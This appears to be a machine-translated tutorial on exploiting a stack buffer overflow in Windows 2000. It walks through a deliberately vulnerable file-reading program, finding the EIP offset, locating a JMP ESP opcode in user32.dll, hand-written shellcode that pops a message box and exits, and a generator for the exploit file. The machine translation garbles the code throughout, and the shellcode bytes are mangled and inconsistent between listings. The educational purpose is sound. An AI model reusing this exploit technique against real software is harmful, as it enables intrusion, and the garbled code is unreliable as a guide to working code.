Windows 2000 buffer overflows
Author: Jason Finishing: Backend
Foreword
I have read many articles about buffers overflow on the Internet. The vast majority of them are based on the * NIX operating system platform. Later, I was fortunate to read IPXODI's "Stack overflow under Windows System" (already published in the third phase of the Green League Network Security Monthly 2000), and happened to see Mr. Jason's "Windows Nt Buffer Overflow's from Start to Finish", Thanks to a lot. During the translation of Mr. Jason's article, since I installed Windows 2000 Server, I found that the details were slightly transported when debugging the original program. Therefore, the relevant source programs, dynamic link libraries, and offset provided herein are subject to the debugging of my machine. (For different versions of dynamic link libraries, the programmer needs to be debugged.)
This article should be entry level. Although it is relatively simple, the buffer overflow under the Windows system has certain versatility. For example, the stack overflow address is determined, the search and use of the jump instruction, the writing of the execution code, and so on. As long as you find that there is a program where the buffer overflow vulnerability in the Windows system is found, attack tests can be conducted through these steps. However, as IPXODI is pointed out, since the version of the dynamic link library in Windows is faster, it is necessary to debug according to the actual platform of the programmer. When publishing such security vulnerabilities or overflows, the source code, system platform, and dynamic link library have clearly cleared. Otherwise, others may be very powerful. ;)
Debug, test environment
Microsoft Visual C 6.0 Microsoft Windows 2000 Server (Chinese, Internal Version Number: 2195)
Debug, test process
First, write an application where there is a buffer overflow vulnerability. The program can read the contents of the file so that we can overflow the program by modifying the content read file. ;-) Create a new console application in the Visual C development environment, select "An Application That Supports MFC" and click "Finish". (Note: It is not necessarily that the MFC application is not, it is just my own habit .;-))) Add some necessary code to this application, as follows:
CWINAPPPP;
Using namespace std;
Void overflow (char * buff);
Void Overflow (CFILE FILE; CFILE FILE; CFILEEXCEPTION ER; if (! file.open (_T ("overflow.txt"), cfile :: modeRead, & ER) {Er.ReportError (); Return;}
INT x = file.getlength (); file.read (buff, x);
INT _TMAIN (int Argc, tchar * argv [], tchar * envp []) {int nretcode = 0;
// Initialize MFC and Print and Error On Failure if (! AFXWininit (: getModuleHandle (Null), Null, :: getcommandline (), 0)) {// Todo: Change Error Code To Suit Your Needs CERR << _t "Fatal Error: MFC Initialization Failed") << Endl; Nretcode = 1;} else {char buff [10]; overflow (buff);} Return Nretcode;} Now analyze the above C code, find a look Where there is a vulnerability. This is a MFC console application, "main" function is somewhat different from other programs, but the working mechanism is basically consistent. We mainly analyze the "else" code in this function. The first line is the first line "CHAR BUFF [10]" defines a 10-character local variable. We all know that the memory space of local variables is assigned in the stack. (If you don't even know this, it is recommended not to continue to see it down. :)) Then call the bufflow function as a parameter. Ok, let us analyze the Overflow function. The first is a CFILE object, then a cfileException object. Next, try to open the file "Overflow.txt" in the current directory by reading permissions. If the open is successful, all the contents in the file are read into the buff array variable. Discover the problem? BUFF variables are only 10 characters long. What happens if the content of the file read is 100? Yes, "buffer overflow"! And the buffer overflows occurred in the stack. You can see it in the later tests, what can we do with this vulnerability! ;) Now let's create a text file "overflow.txt" and put it in the Project directory of this application.
Let us discuss the memory structure of Windows NT / 2000 before proceeding. Each process of NT / 2000 is assigned a 4GB (0xFFFFFFFF) virtual memory at startup. Some of these parts are actually shared by all processes, such as cores, and device driver areas. But they are all mapped to virtual address spaces for each process. There is virtually no process allocated to 4GB of physical memory, but only the physical memory is allocated only when needed. So each process has its own 4GB virtual memory, and the address range is from 0x00000000 to 0xFFFFFFF. Among them, 0x00000000-0x0000FFFF is allocated to NULL pointer. Accessing the area memory will result in an "illegal access" error. 0x00010000-0x7ffefff is a user's process space. The image of the EXE file is loaded to (start address 0x00400000), the DLL (dynamic link library) is also loaded into this space. If the code of the DLL or EXE is loaded into certain addresses of the range, it can be executed. Access to this area has no code loaded in this area will result in an "illegal access" error. 0x7fff0000-0x7FFFFFF is a reserved area, any access to this area will result in an "illegal access" error. 0x80000000-0xFffffFFF is only for operating systems. Used to load device drivers and other core level code. Accessing from user-level applications (Ring 3) will result in an "illegal access" error.
Now return to the "overflow.txt" file. Now we will continue to add characters to this text file until the system dialog box that the application is illegally accessed. Here, it is important to populate what character is important (the reason will be known). I chose lowercase letters "a" to fill the text file. We already know that the buffer is only 10 characters long, then fill 11 characters first. (Note: Compiling applications in DEBUG, otherwise the result may vary.) no response. We continue to fill characters ... until 18 characters apply to crash. But this crash is not much for us. Continue to fill! When the string length is 24, run the program and observe the pop-up dialog information: "0x61616161" instruction references "0x61616161" memory. This memory cannot be "Written". "I think everyone should know" 0x61 " What is the ASCII code? ;) If your machine is installed in Visual C , click the "Cancel" button to debug the application. After entering the debugging environment, select the "View" menu - "Debug Windows" - "Registers", open the register window. If you have no one in the compilation, it is recommended to find a book of this compilation first. The contents of registers such as EAX, EBS, and EIP are seen in the register window. EIP is of course the most important. The content of the EIP is the address of the program to perform instructions next step. We noticed that the value of the ESP register was not broken, and it seems that it is not far from our buff variable. The next step we need to find the value of the ESP is from how to deal with it. It will be complex now (this is the source of fun! :)). Set breakpoints at the last line code of the main function, because we only care about what happened here. Start the debugger now, and make the program run until the breakpoint. Then switch to the reverse assembly window (press Alt 8, or click "View" - "DISASSEMBLY"). Also open the memory window and register window.
0040155B 5F pop edi0040155C 5E pop esi0040155D 5B pop ebx0040155E 83 C4 50 add esp, 50h00401561 3B EC cmp ebp, esp00401563 E8 7E 00 00 00 call _chkesp (004015e6) 00401568 8B E5 mov esp, ebp0040156A 5D pop ebp0040156B C3 ret
What is these things? Assembly code. If you don't understand the compilation, I do something simple here. The first line is "POP EDI". The directive POP is used to move the data secondary to the top of the stack to the subsequent registers. It should be noted that the ESP register. ESP is a 32-bit stack pointer. A POP instructions move a data unit at the top of the stack, here is DWORD (double word, 4 bytes) to the specified register and add the stack pointer 4 (because a total of 4 bytes). Let's take a look at the ESP register before performing the next step. Enter an ESP in the memory window to get the current pointing from the ESP. Look at the four bytes of content and the contents of the EDI register in the memory address pointing to the ESP. Now "POP.edi" now, we can see the value of the memory address pointed to the ESP in the EDI register, and the value of ESP has also increased 4. The following two instructions are the same, but the registers are different. Single to perform them. The three-way instructions followed by this article did not make sense, so they did not explain here. Single step to the instruction "MOV ESP, EBP", which assumes the value of the EBP to the ESP register. Then the command "POP EBP", which is important. Let us enter ESP in the memory window, you can see that the memory address has a string "0x61" ('a' 16 enumeration value). Therefore, 0x61616161 will be popped up to the EBP register. Single step execution This instruction can be verified that I said correct? ;) Ok, although I said it is right, but it seems that we haven't obtained anything that useful? Now, the last instruction "RET" is now. The command "RET" is the return instruction in the assembly. How do it know where to return? Decide by the value currently located at the top of the stack. This instruction can be represented as "POP EIP" if the POP instruction is represented (although you can't do this POP instruction;)). It pops up 4 bytes from the ESP to the memory address, and assigns the EIP register (the EIP register is a 32-bit instruction pointer). This means that no matter which memory address is pointed to, the instruction at the address will always be the next instruction. We will enter the ESP again in the memory window, see what the instructions that will be assigned to the EIP register. In fact, I would like to know that you should know the 0x61 string of 4 words. Now let's write this instruction, see the value of EIP is 0x61616161, that is, the next command address is 0x61616161, but the instruction is displayed as? "(Meaning invalid instruction). Therefore, then the command will result in an "access illegal" error. Now look at the ESP register. It correctly points to the next value in the stack. That is, the next step is to determine if the address pointed to by the ESP can be stored in our overflow code when it is determined that the buffer is successfully overflow (EIP = 0x61616161). We add 4 'a' (a total of 28 'a') again in the overflow.txt file, and debug the program again. Observe the memory window and register window when executed to the RET command, and will find the "RET" instruction. The content of the memory address is directed to the memory address of the 4-byte length of the 0x61 string. Great! what does this mean? ! Let everyone want to go. ;)))))
Now I will go back and analyze it. We just used the character 'a' (0x61) as the population of the text file to determine the buffer overflow. Since EIP = 0x61616161, the system is erroneously caused when our program access to the instruction attempt to access the address, because it is an invalid instruction. But what if the address pointed to the executable code? For example, loaded into memory DLL code, etc.. Haha, this will execute these instructions, so that some people can do not imagine! , Good, so far, we can control the value of EIP, and also know the stack position points to the ESP, and can write any data to the stack. So what is the next step? Of course, it is a way to find the system to perform our overflow code. If you have seen IPXODI's article "Stack overflow under the Windows system", you will know that the jump instruction (JMP ESP) is best. The reason is no longer more here, please read it carefully to read "The stack overflow under the Windows system" is clear. As analyzed in front, this is because the ESP can point to our overflow code after executing the RET instruction! (... oh, I can't find it. I didn't have analyzed it? In this article, I look for words "great", huh, now we have to find the address containing the "JMP ESP" instruction in the application's memory space. First of all, it is of course a machine code for determining this command. How to determine? Do you have to teach this? Ok, teach it. Only this time, no violation. ;) Actually, it is very simple, follow these steps. Create a new application in Visual C . (Of course, the console program, or support MFC, this is my habit. Oh, huh.) Enter the following code:
CWINAPPPP;
Using namespace std;
INT _TMAIN (int Argc, tchar * argv [], tchar * envp []) {int nretcode = 0;
// Initialize MFC and Print and Error On Failure if (! AFXWininit (: getModuleHandle (Null), Null, :: getcommandline (), 0)) {// Todo: Change Error Code To Suit Your Needs CERR << _t "Fatal Error: MFC Initialization Failed") << Endl; Nretcode = 1;} else {return 0; __ASM JMP ESP} Return Nretcode;
The next step is how to find this string machine code in our process space. It is also very simple, just modify the code:
CWINAPPPP;
Using namespace std;
INT _TMAIN (int Argc, tchar * argv [], tchar * envp []) {int nretcode = 0;
// Initialize MFC and Print and Error On Failure if (! AFXWininit (: getModuleHandle (Null), Null, :: getcommandline (), 0)) {// Todo: Change Error Code To Suit Your Needs CERR << _t "Fatal Error: MFC Initialization Failed") << ENDL; NRETCODE = 1;} else {#if 0 return 0; __ASM JMP ESP # ELSE
BOOL WE_LOADED_IT = false; hinstance h; tchar dllname [] = _t ("user32");
H = getModuleHandle (Dllname); if (h == null) {h = loadingLibrary (dllname); if (h == null) {cout << "error loading DLL:" << Dllname << endl; return 1;} WE_LOADED_IT = True;}
BYTE * PTR = (byte *) h; Bool Done = false; for (int y = 0;! Done; y ) {ix (ptr [y] == 0xff && PTR [y 1] == 0xE4) {INT POS = (int) PTR Y; coup << "opcode found at 0x" << HEX << POS << endl;}} catch (...) {cout << "end of" << Dllname < <"Memory Reached" << Endl; DONE = true;}}
IF (WE_LOADED_IT) Freelibrary (h); #ENDIF} return nretcode;}
Maybe you will be strange, why not use kernel32.dll? Is it more common? I was also looking for "FF E4" in the process space of the dynamic link library Kernel32, but I can't find it at one place! (Found at least 6 in Windows NT 4!: (() Later I tried to find it in user32.dll, finally found one. Running program output:
Opcode found at 0x77e2e32aend of user32 memory reached
Note that different dynamic link libraries and versions may be different. My dynamic link library User32.dll version is 5.00.2180.1. The overflow.txt text file is now opened with a 16-credit editor (such as Ultra Edit), and then input 2A E3 E2 77 at the 21-character position. (Why do you want to enter 2A E3 E2 77? Why do you want to explain, if you don't understand this, I suggest you try to study the buffer overflow!) Let's first keep the back four ' A 'character. Use the debugger to run the program, execute it to the "Ret" command to see if the next instruction is "JMP ESP", and the content of the ESP before "JMP ESP" is executed is 0x61616161. If everything is correct, ok, so far so good.;) Let's make more exciting things - write the execution code after the buffer overflow. First, you must ensure that all required dynamic link libraries are loaded into the process space. One way is to utilize the dynamic link library called itself; another method is to load the dynamic link library in the overflow code. (There is a detailed introduction in IPXODI's "Windows Surface Sprinkle".) I use the first method here. why? Because it is simple. ;)
Oh, in order to program the simple, the main purpose of this article is to teach, the focus is the principle, so the code is only popped up with a message box. If you want to write more aggressive or more complex execution code, please refer to IPXODI's "Stack Overflow under Windows System" and "Advanced Buffer Overflow" in the Green Corps. However, the consequences are at your own risk!
First we have to find how to call the MessageBox function in your code. According to the Windows API document, MessageBox depends on user32.lib, which means it is located in the User32.dll dynamic link library. Start the Depends tool, open the application that will be overflow, you can find that it will load user32.dll. Then look for the memory location of the Messagebox function. In the user32.dll of my machine, the offset of the MessageBoxa (ASCII version) function is 0x00033d68. User32.dll's starting address in memory is 0x77df0000. Add the two to get the absolute memory address of the Messagebox function is 0x77E23D68. So we need to set the stack correctly in the assembly code and call 0x77E23D68. According to the WinAmp buffer of Steve Fewer, the assembly code I wrote is as follows:
PUSH EBP PUSH ECX MOV EBP, ESP SUB ESP, 54H XOR ECX, ECX MOV BYTE PTR [EBP-14H], 'S' MOV BYTE PTR [EBP-13H], 'u' MOV BYTE PTR [EBP-12H], ' C 'MOV BYTE PTR [EBP-11H],' C 'MOV BYTE PTR [EBP-10H],' E 'MOV BYTE PTR [EBP-0FH],' S 'MOV BYTE PTR [EBP-0EH],' S ' MOV BYTE PTR [EBP-0DH], CL MOV BYTE PTR [EBP-0CH], 'W' MOV BYTE PTR [EBP-0BH], 'E' MOV BYTE PTR [EBP-0AH], '' MOV BYTE PTR [EBP -9], 'g' MOV BYTE PTR [EBP-8], 'o' MOV BYTE PTR [EBP-7], 'T' MOV BYTE PTR [EBP-6], '' MOV BYTE PTR [EBP-5] , 'I' MOV BYTE PTR [EBP-4], 'T' MOV BYTE PTR [EBP-3], '!' MOV BYTE PTR [EBP-2], CL Push Ecx Lea Eax, [EBP-14H] Push EAX Lea Eax, [EBP-0CH] Push EAX PUSH ECX MOV DWORD PTR [EBP-18H], 0X 77E23D68 CALL DWORD PTR [EBP-18H] MOV ESP, EBP POP ECX POP EBP All assembly code will call the MessageBox function located at 0x77E23D68, The title "Success" is popped up, and the message content is "We got it!" Message box. It must be noted that we cannot use 0 (NULL) as characters in a string, and if you don't work, please refer to IPXODI's "Stack Overflow under Windows System" and the "Advanced Buffer Overflow" in the Green Corps. Now we have to get the machine code of these assembly code. The method has been introduced earlier and no longer repeat. The machine code that is finally organized is:
/ X55 / X51 / XEC / XEC / X33 / XC9 / XC6 / X45 / XEC / XD / X75 / XC6 / X45 / XEE / X63 / XC6 / X45 / XEF / X63 / XC6 / X45 / XF0 / XF1 / X73 / XC6 / X45 / XF2 / X73 / X88 / X4D / XF3 / XC6 / X45 / XF4 / X57 / XC6 / X45 / XF5 / X65 / XC6 / X45 / XF6 / X20 / XC6 / X45 / XF7 / X47 / XC6 / X45 / XF8 / X6F / XC6 / X45 / XF9 / X74 / XC6 / X45 / XFA / X20 / XC6 / X45 / XFB / X49 / XC6 / X45 / XFC / X74 / XC6 / X45 / XFD / XFE / X51 / X8D / X45 / XEC / X50 / X8D / X45 / XC7 / X45 / XE8 / X68 / X3D / XE2 / X77 / XFF / X55 / XE8 / X8B / XE5 / X59 / X5D
If this is now entered into the overflow.txt file, it will be able to successfully overflow, and we will pop up our custom message box. But when you click the "OK" button, the application will crash. To avoid this, we need to call the EXIT function to close the program normally. Check the Windows API documentation that you need to import MSVCRT.LIB, so it is sure to be in the MSVCRT.DLL dynamic link library. Using the Depends Tool will find that the application loads MSVCRTD.DLL instead of MSVCRT.DLL because our application is now using debugging version. But there is not much difference. MSVCRTD.DLL in memory is 0x10200000, and EXTRY POINT is 0x0000AF90, the absolute address of the exit function is 0x1020af90. Therefore, assembly code is: Push EBP PUSH ECX MOV EBP, ESP SUB ESP, 10H XOR ECX, ECX PUSH ECX MOV DWORD PTR [EBP-4], 0x1020AF90 Call DWORD PTR [EBP-4] MOV ESP, EBP POP ECX POP EBP
The above code calls the EXIT function with 0 to the parameter, so that the application runs out with code 0. The machine code obtained after the finishing is as follows:
/ X55 / X51 / XEC / XEC / X33 / XC9 / X51 / XC7 / X45 / XFC / X90 / XAF / X20 / X10 / XFF / X55 / XFC / X8B / XE5 / X59 / X5D
Now enter the above two string machine code into the overflow.txt file (starting with the 25th byte. This time, don't ask why ?! If you don't understand, review the previous content!)
If you are troublesome, you can use the following procedure (how, enough friends?;)):
CWINAPPPP;
Using namespace std;
INT _TMAIN (int Argc, tchar * argv [], tchar * envp []) {int nretcode = 0;
// Initialize MFC and Print and Error On Failure if (! AFXWININIT (: getModuleHandle (Null), NULL,::: GetCommandline (), 0)) {CERR <<_T ("Fatal Error: MFC Initialization Failed) << Else {char buffer [20]; // 0x77e2e32a // 0 0x77e2e32a //User32.dll JMP ESP Char EIP [] = "/ x2a / xe3 / x-x77"; char sploit [] = "/ x55 / X51 / X8B / XEC / X83 / XEC / X54 / X33 / XC9 / XC6 / X45 / XEC / X53 / XC6 / X45 / XED / XEE "" / X63 / XC6 / X45 / XEF / X63 / XC6 / X45 / XF0 / X65 / XC6 / X45 / XF1 / X73 / XC6 / X45 / XF2 / X73 / X88 / X4D / XF3 / XC6 "" / x45 / xf4 / x57 / xc6 / x45 / xf5 / x65 / xc6 / X45 / XF6 / X20 / XC6 / X45 / XF7 / XF8 / X6F / XC6 / X45 "" / XF9 / X74 / XC6 / X45 / XFA / X20 / XC6 / X45 / XFB / X49 / XC6 / X45 / XFC / X74 / XC6 / X45 / XFD / XFE "" / X51 / X8D / X45 / XEC / X50 / X8D / X45 / XF4 / X50 / X51 / XC7 / X45 / XE8 / X68 / X3D / XE2 / X77 / XFF / X55 / XE8 / X8B "" / XE5 / X59 / X5D / X55 / X51 / X8B / XEC / X83 / XEC / X10 / X33 / XC9 / X51 / XC7 / X45 / XFC / X90 / XAF / X20 / X10 / XFF "/ x55 / xfc / x8b / xe5 / x59 / x5d"; for (int x = 0; x <20; x ) {buffer [x] = 0x90;}
Cfile File; File.open ("overflow.txt", cfile :: modecreate | cfile :: modewrite;
File.Write (buffer, 20); file.write (EIP, Strlen (EIP)); file.write (sploit, strlen (sploit));
File.Close ();
Return nretcode;}
After ensuring that the content and location of all files is accurate, run the overflower .......... Haha, our message box is coming out! ! ! Click the "OK" button, the program is turned off! ! !
postscript
I have recently visited foreign security sites, hacking sites, and find more and more concerns of the Windows system, and more and more of Windows system vulnerabilities, including l0pht, cerberus, etc. Especially in some hacking sites, a bunch of attackers for Windows 9x / NT / 2K. I really can't imagine. If Micro $ OFT discloses all Windows source code, how many security vulnerabilities have been discovered. And I think, according to the universality of using the Windows platform in China, the problem will be more serious. So I think that China's security research on Windows should be more tight! Although the actual situation is frustrating ... :(